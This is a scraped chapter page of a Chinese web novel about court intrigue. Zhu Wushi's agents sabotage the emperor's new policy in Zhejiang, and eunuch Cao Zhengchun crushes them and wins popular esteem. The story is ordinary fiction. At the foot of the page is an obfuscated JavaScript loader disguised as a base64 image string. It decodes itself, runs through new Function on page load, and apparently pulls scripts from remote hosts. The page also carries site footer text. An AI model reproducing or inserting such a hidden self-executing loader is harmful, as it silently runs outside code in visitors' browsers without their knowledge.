首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第266章 朱无视暗中使坏,曹公公风评逆转

下载APP,无广告、完整阅读
    而在江南的各大书院里,年轻的士子们却分成了两派。
    一派坚称「阉党误国」,指着《大明周报》痛骂曹正淳蛊惑圣心。
    另一派则在认真研读新政条文,托关系去浙江实地考察。
    后者在书信中写道,浙东新政推行虽未尽善,然大势已成,百姓称便,朝廷赋税有增无减,国用日充。阉党虽恶,新政实善。若因噎废食,非社稷之福。
    信传开后,越来越多的士子开始放下成见,重新审视新政。
    当然,朝中反对的声音依旧不小。
    几个老臣隔三差五地上摺子,说新政扰乱祖宗成法,曹正淳擅权误国。但沈清砚一律留中不发,既不驳斥,也不采纳。
    台湾小说网超顺畅,??????????.??????随时看
    时间一长,连那些老臣自己也觉得没趣了。
    新政的根基,越来越稳。
    天香豆蔻的事,沈清砚一直没有放下。
    第一颗在朱无视手中,二十年前就被他喂给了素心,此刻正封存在素心体内,维持着她最后一缕生机。这一颗拿不回来,也不需要拿回来——素心醒后,这颗豆蔻的药力自然消耗殆尽,无碍。
    第二颗在太后手中。沈清砚没有绕弯子,一日去慈宁宫请安时,直接开了口。
    「母后,儿臣听闻当年先帝曾赐给您一颗天香豆蔻。」
    太后正在逗弄一只白猫,闻言抬起头来,眼中闪过一丝讶异。
    「是有这么一颗,怎么,皇帝想要?」
    沈清砚点了点头,没有解释用途,只是道:「儿臣有用处,还请母后割爱。」
    太后看了他一眼,没有多问。她这个儿子自登基以来,办事越来越有分寸,从不做无谓之举。他要天香豆蔻,必定有他的道理。
    「李修,去把那颗豆蔻取来。」
    李修领命而去,不多时便捧着一只小小的锦盒回来。
    太后接过,打开看了一眼,那豆蔻通体莹白,散发着淡淡的幽香,与二十年前先帝赐予时一模一样。她轻轻合上锦盒,递给了沈清砚。
    「拿去吧,哀家留着也无用。」
    沈清砚接过锦盒,收入袖中,郑重地行了一礼。
    「多谢母后。」
    第三颗,在云萝郡主手中,藏在她的那支「人鱼小明珠」发簪里。
    那颗夜明珠乃深海所出,通体莹润,豆蔻便嵌在珠内,不细看根本发现不了。
    沈清砚没有派人去讨要,而是直接让刘安传了云萝到御书房。
    云萝今日穿了一身鹅黄色的衫子,蹦蹦跳跳地进来,身后跟着两个宫女。
    她虽然在宫中长大,却不像其他公主那般拘谨,一进门便笑嘻嘻地行了个礼。
    「皇兄,你找我?」
    沈清砚指了指面前的椅子。
    「坐,把你的『人鱼小明珠』给朕看看。」
    云萝一怔,摸了摸头上的发簪,有些舍不得。
    「皇兄,这可是太妃留给我的……」
    「看看而已,又不是不还你。」
    云萝嘟了嘟嘴,还是乖乖地把发簪取了下来,递给沈清砚。
    那是一支极为精巧的发簪,簪头嵌着一颗拇指大小的夜明珠,在烛光下泛着幽幽的萤光。
    沈清砚接过发簪,对着光看了一会儿。他早已从记忆中知道豆蔻藏在珠内,此刻只是确认它还在,果然,夜明珠的中间有一处极细微的凹凸,正是豆蔻嵌入的痕迹。
    他从袖中取出一块软布,轻轻一捏,那颗夜明珠应声裂开一道细缝。
    一颗莹白色的豆蔻从缝隙中滚落出来,落在他掌心,与太后那颗一般无二。
    云萝瞪大了眼睛,惊呼出声。
    「皇兄!珠子里怎么还有东西?」
    沈清砚将豆蔻收入袖中,又把裂开的夜明珠装回簪头。那颗珠子虽然裂了缝,但外观依然完整,不仔细看根本看不出来。
    「这是天香豆蔻,朕有用。珠子还你,回去找个匠人镶一下就行。」
    云萝接过发簪,翻来覆去地看了几遍,虽然心疼,但见沈清砚神色郑重,也不敢多问。她嘟着嘴,小声嘟囔了一句。
    「皇兄真小气,也不说谢谢……」
    沈清砚笑了笑。
    「谢谢。行了吧?」
    云萝这才破涕为笑,把发簪重新插回头上,蹦蹦跳跳地走了。
    至此,三颗天香豆蔻,一颗在素心体内,两颗在沈清砚手中。
    只等古三通父子练好武功,积攒足够的实力,便可以去天山接回素心,让她服下第二颗丶第三颗,醒来。
    护龙山庄,地下密室。
    朱无视并不知道这一切。
    他独自坐在石案前,面前摊着一摞《大明周报》,面色阴沉。
    他不是没有预料到皇帝会推行新政,他预料到了。但他没有预料到的是,曹正淳那条疯狗,竟然会全力以赴到这种程度。
    曹正淳从前是什么人?是结党营私丶排除异己的权阉,是欺上瞒下丶祸害忠良的佞臣。
    朱无视与他斗了十几年,把曹正淳的底细摸得一清二楚——这个人,贪权丶恋势丶狠辣无情,但从不贪财。
    朱无视一直以为,曹正淳留在朝中只是皇帝养的一条看门狗,只要他在皇帝身边一天,曹正淳就翻不出什么浪花。可他没有想到,皇帝竟然会给曹正淳一根骨头,一根足以让任何太监疯狂的骨头。
    名垂青史。
    这四个字,对曹正淳的诱惑力,远超他朱无视的想像。
    曹正淳不是傻子,他当然知道新政办好了受益最大的是皇帝。但他更知道,新政一旦成功,他的名字会跟着新政一起,永远刻在史书上。后人读到「嘉靖新政」这一章,会提到皇帝英明,也会提到,东厂督主曹正淳,奉旨推行新政,功在社稷。
    这对于一个太监来说,是无上的荣耀。
    别说曹正淳了,换作任何一个有抱负的太监,都拒绝不了。
    朱无视猛地攥紧了手里的报纸,纸张发出「嘶啦」一声轻响。
    「好一个皇帝,好一个曹正淳。」
    他的声音低沉而沙哑,像是从牙缝里挤出来的。
    朱无视早就不是那个意气风发的少年了。
    他是五十多岁的铁胆神侯,朝野中最有权势的藩王之一。他手下有护龙山庄,有遍布天下的情报网,有暗中掌控的十大将军黑料,有心腹无数。
    但皇帝的脚步也没有停下来。
    锦衣卫的改革让他措手不及。那些锦衣卫番子从前不过是些酒囊饭袋,如今却被训练成了精干的情报人员,大街小巷无处不在,连护龙山庄的眼线都被拔去了大半。
    如今又来了《大明周报》。这报纸的威力,比他想像的要大得多。
    从前他想散布对新政不利的流言,只需要派人到茶馆酒楼里说几句闲话就行。
    如今有了这报纸,老百姓信的是白纸黑字,信的是朝廷的声音。那些大户对清查田亩恨之入骨,他们想利用百姓舆论逼宫,结果还没开始酝酿,就已经被《大明周报》先入为主地定了性。
    清查田亩不是抢大家的粮,而是为了让不交税的人补税,让百姓不用再承担他们偷逃的份额。
    老百姓一听,原来是这么回事。谁偷逃税,谁就该补。
    这道理有多难懂?
    朱无视越想越觉得后背发凉。
    他忽然觉得,那个坐在御书房里的年轻人,比他想像的要可怕得多。
    新政丶锦衣卫丶东厂丶周报,这一套组合拳打下来,朝堂上那些墙头草已经开始重新评估风向。
    朱无视靠在椅背上,闭上了眼睛。
    他不是没有退路。
    他手里还有护龙山庄,还有暗中培养的私兵,还有分布在各地的死士。皇帝想动他,没那么容易。
    但他也不能什么都不做。
    他要等。
    在新政全面推行到全国的过程中,阻力会越来越大,那些大地主丶大盐商丶大海商,哪一个是省油的灯?
    他们不会因为一张报纸就乖乖听话。等新政触碰到他们的底线,他们会反抗,会反扑,会不惜一切代价。
    等天下大乱,他就可以站出来,以「清君侧」的名义,清的不是曹正淳,而是皇帝身边那些蛊惑圣心的「奸臣」。
    曹正淳是奸臣,新政是苛政,他朱无视起兵是为了救大明,是为了保江山。这个理由,冠冕堂皇,名正言顺。
    朱无视睁开眼睛,目光冷厉。
    「再等等,再等等。」
    他在心里对自己说。
    密室外,阳光正好。
    但密室里的光,却始终暗着。
    朱无视站起身来,推开石门,走了出去。
    他知道,真正的较量,还在后面。
    护龙山庄,正堂。
    朱无视靠坐在太师椅上,手指在扶手上轻轻叩击,节奏缓慢而沉闷。几个心腹站在下首,垂手而立,不敢出声。
    「新政的事,你们怎么看?」
    朱无视的声音不大,却带着一股让人后背发凉的冷意。
    一个幕僚模样的中年人上前一步,低声道。
    「神侯,新政在浙江试行已有数月,成效渐显。若任由其继续推行下去,待到全国推广之时,皇帝的威望将如日中天,届时……」
    他没有说下去,但意思已经很明显了。
    朱无视的目光扫过众人。
    「所以,不能让他顺利推下去。」
    他顿了顿,手指停止了叩击。
    「传令下去,浙江那边,让咱们的人动起来。明面上不能露头,暗地里使绊子。查田亩的,给大户通风报信;建港口的,让地方上的地痞去闹事。办报纸的,找人写文章骂,骂得越难听越好。」
    几个心腹对视一眼,齐齐拱手。
    「属下明白。」
    朱无视点了点头,又道:「另外,让各地分舵去接触那些对新政不满的大地主丶大盐商。告诉他们,朝廷的新政是曹正淳那个阉党头子搞出来的,皇帝被蒙蔽了。咱们不是反对新政,是反对阉党误国。」
    「是!」
    众人领命而去,正堂重新归于寂静。
    朱无视靠在椅背上,闭上眼睛。
    他不指望这些小动作能推翻新政。他要的只是拖,只是乱。新政拖得越久,皇帝的威望就消耗得越厉害;天下越乱,他起兵的藉口就越充分。
    这是阳谋里套着的阴谋。
    他倒要看看,那个小皇帝能接住几招。
    浙江,杭州府。
    新政推行第四个月,麻烦开始出现了。
    先是清查田亩的工作遇到了阻力。几个隐匿田产的大户不知从哪里提前得到了消息,在官府派人丈量之前,连夜转移了田契,修改了鱼鳞册。等张茂带人下乡时,那些本该查出来的田亩,凭空消失了。
    接着是宁波港扩建工地出了事。
    一夥地痞冲进工地,打伤了十几个工匠,砸坏了刚建好的船坞。等官府派兵去抓时,那伙人早已逃得无影无踪。
    然后又是《大明周报》在浙江的发行遇到了麻烦。几个负责送报的驿卒被人半路拦截,报纸被抢走烧毁。一些茶楼酒肆被人威胁,不许张贴报纸丶不许说书人念报上的内容。
    张茂将这些情况汇总,写了一份密报,八百里加急送往京城。
    御书房。
    沈清砚看完密报,面色平静,将摺子放在案上,唤了一声。
    「沈安。」
    锦衣卫指挥使沈安从殿外进来,跪地行礼。
    「臣在。」
    沈清砚将密报递给他。
    「你看看。」
    沈安接过,快速浏览了一遍,眉头微微皱起。
    「皇上,这是有人在背后捣鬼。」
    沈清砚点了点头。
    「查。三天之内,朕要知道是谁在通风报信,是谁在指使地痞,是谁在拦截报纸。查到之后,该抓的抓,该杀的杀,该抄家的抄家。」
    他的声音不大,却带着一股不容置疑的冷意。
    「朕的新政,不是谁想挡就能挡的。」
    沈安叩首。
    「臣遵旨。」
    与此同时,曹正淳也接到了张茂的密报。他正在东厂衙门里处理公务,看完之后,脸色铁青,一巴掌拍在案上,震得茶盏都跳了起来。
    「好大的胆子!」
    他在密室中来回踱步了片刻,随即唤来几个亲信。
    「备马,本督主亲自去杭州。」
    「督主,这……杭州那边有张茂盯着,您何必亲自——」
    「你懂什么?」
    曹正淳瞪了那人一眼,「新政是皇上的新政,也是本督主的身家性命。张茂是个办事的,但他镇不住场子。本督主不去,那些牛鬼蛇神还以为咱们好欺负。」
    当天下午,曹正淳便带着一队东厂番子,快马加鞭赶往杭州。
    三天后,锦衣卫的密报送到了沈清砚案头,曹正淳也赶到了杭州。
    通风报信的,是一个姓李的师爷,在杭州知府衙门做事。他是护龙山庄的外围眼线,接到上峰指令后,暗中通知了几个大户,让他们转移田产。
    指使地痞的,是一个姓王的盐商,与护龙山庄有生意往来。他出了五百两银子,雇了一帮地痞去宁波港闹事。
    拦截报纸的,是一个姓陈的秀才,也是护龙山庄的人。他纠集了一帮落第举子,在半路拦截驿卒,抢走报纸,还威胁茶楼酒肆不许张贴。
    沈清砚看完密报,嘴角浮起一丝冷笑。
    「护龙山庄。好一个护龙山庄。」
    他提笔在密报上批了几个字,交给沈安。
    「抓人。所有人犯全部押解进京,交刑部会审。另外,那几个通风报信的大户,田产全部抄没,人送进大牢。参与闹事的地痞,按律严惩。那个姓陈的秀才和他的同党,革去功名,流放三千里。」
    沈安领命,犹豫了一下,问道。
    「皇上,护龙山庄那边……」
    「护龙山庄那边不用管。」
    沈清砚淡淡道,「朱无视不会承认这些人是他的。就算他承认,朕也没有证据。能拔掉他的爪牙就够了,其余的,慢慢来。」
    沈安叩首退下。
    杭州那边,曹正淳比锦衣卫的动作还快。
    他到达杭州的当天,便直奔杭州知府衙门。张茂早已在门口等候,将详细情况一一禀报。
    曹正淳听完,没有废话,直接调了一队东厂番子去抓人。
    那个姓李的师爷被从家中拖出来时,还在睡梦中。
    曹正淳亲自审问,没有动刑,只让两个东厂番子端着净身的刀具站在一旁,笑吟吟地看着他。李师爷当场就吓瘫了,一五一十全招了。
    王盐商本想仗着家财万贯抵赖,曹正淳也不跟他废话,直接让东厂番子把他绑在椅子上,一刀一刀地剐了他的家产清单。
    王盐商看着自己的万贯家财被登记造册,心如刀绞,终于撑不住,也招了。
    至于那个陈秀才,曹正淳连审都没审,直接让人把他押到杭州府学门口,枷号示众。读书人脸面最要紧,陈秀才羞愤欲死,当场就要撞墙,被东厂番子一把拽住。
    「想死?没那么容易。」
    曹正淳冷笑一声,「本督主还要让你去边疆好好活着呢。」
    锦衣卫的行动与曹正淳的东厂配合默契,迅速而精准。
    不出半个月,李师爷丶王盐商丶陈秀才等人全部落网,连同那几个转移田产的大户,被锦衣卫从家中拖出来,五花大绑,押上了进京的囚车。
    曹正淳亲自站在杭州城门口,目送囚车远去。
    他身后站着浙江布政使赵铭丶按察使等一众地方官员,个个面色肃然,不敢吭声。
    曹正淳转过身,目光扫过这些官员,掐着兰花指说道。
    「诸位都看见了。新政是皇上的新政,本督主奉旨推行。谁要是在新政上动歪心思,本督主不管他是谁的人,也不管他背后站着谁,本督主只认一个理,新政不能停,谁敢挡路,本督主就办谁。」
    众官员齐齐躬身,额头上渗出细密的汗珠。
    杭州城的老百姓纷纷驻足围观,交头接耳。
    「这不是李师爷吗?怎么被抓了?」
    「听说是给那些大户通风报信,阻挠新政。」
    「该抓!皇上的新政多好啊,给咱们减了税,他还帮着大户逃税,这不是坑咱们老百姓吗?」
    「可不是嘛。还有那个王盐商,雇人砸宁波港的工地,听说把人家建好的船坞都砸了。」
    「这种人,就该杀!」
    囚车在大街上缓缓驶过,百姓们指指点点,唾骂声此起彼伏。
    曹正淳站在城楼上,看着囚车远去,又看着城下那些交头接耳的百姓,嘴角浮起一丝满意的笑意。
    他转身对身边的亲信道:「回去之后,把这件事写进《大明周报》,标题要醒目,内容要翔实,让天下人都知道,朝廷办新政,是认真的。」
    那些大户被抓后,他们的田产被朝廷抄没,重新丈量,补齐税款。隐匿多年的田亩终于见了光,朝廷的税收一下子多了好几万两。
    王盐商的家产也被抄没,金银珠宝丶绫罗绸缎,装了整整二十辆大车,全部充入国库。
    曹正淳亲自清点了这批财物,分毫不少地登记造册,上报朝廷。
    陈秀才和他的同党被革去功名,枷号示众三日,然后押送边疆,永不许回京。曹正淳特意让人在杭州府学门口贴了一张告示,历数陈秀才的罪行,以儆效尤。
    消息传到京城,朝野震动。
    那些原本还在观望的墙头草,纷纷调转了风向。他们终于看明白了。
    皇帝是认真的,锦衣卫是认真的,曹正淳也是认真的。谁要敢动新政,下场就是抄家丶流放丶杀头,没有商量。
    《大明周报》对这次事件做了详细报导,标题是——《新政不容阻挠,奸佞终受严惩》。
    文章措辞严厉,把那些阻挠新政的人批得体无完肤,又把锦衣卫和东厂的雷厉风行夸了一番,尤其提到了「东厂督主曹正淳亲赴杭州,坐镇指挥,三日之内便令奸佞伏法」的细节。
    读到这里,朝中那些原本对曹正淳恨之入骨的文官,也不得不暗暗佩服——这阉党办事,确实有两下子。
    报纸在京城发行后,百姓们争相购买,茶馆里的说书人更是添油加醋地讲了起来。
    「话说那李师爷,给大户通风报信,以为神不知鬼不觉,谁知东厂的番子早就盯上了他。曹公公亲自审问,让两个番子端着净身的刀具往旁边一站,那李师爷当场就吓瘫了,一五一十全招了……」
    「那王盐商,出了五百两银子雇地痞闹事,结果呢?银子被抄了,家产被充了,自己也被关进了大牢,等秋后问斩……」
    「还有那陈秀才,读书人,本该知书达理,却干出拦截报纸丶威胁百姓的事来。曹公公让人把他押到府学门口枷号示众,那陈秀才羞得当场就要撞墙,被一把拽住了。功名没了,人也被流放了,这辈子算是完了……」
    百姓们听得解气,纷纷拍手称快。
    「曹公公有魄力!」
    「曹公公是替皇上办事,替咱们老百姓办事!」
    从前百姓提起曹正淳,只知道他是东厂督主,是阉党,是皇帝身边的红人,跟他没什么关系。
    如今百姓提起曹正淳,却多了几分亲切,这位曹公公,虽然手段狠了点,但确实在替老百姓办实事。
    而那些原本对新政心存疑虑的人,也开始重新审视这件事。
    他们发现,皇帝说的那些话,不是空话;新政带来的好处,不是虚的。那些阻挠新政的人,确实是大户,是盐商,是既得利益者。他们反对新政,不是为了天下苍生,是为了自己的腰包。
    新政的民心,越来越稳。

一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();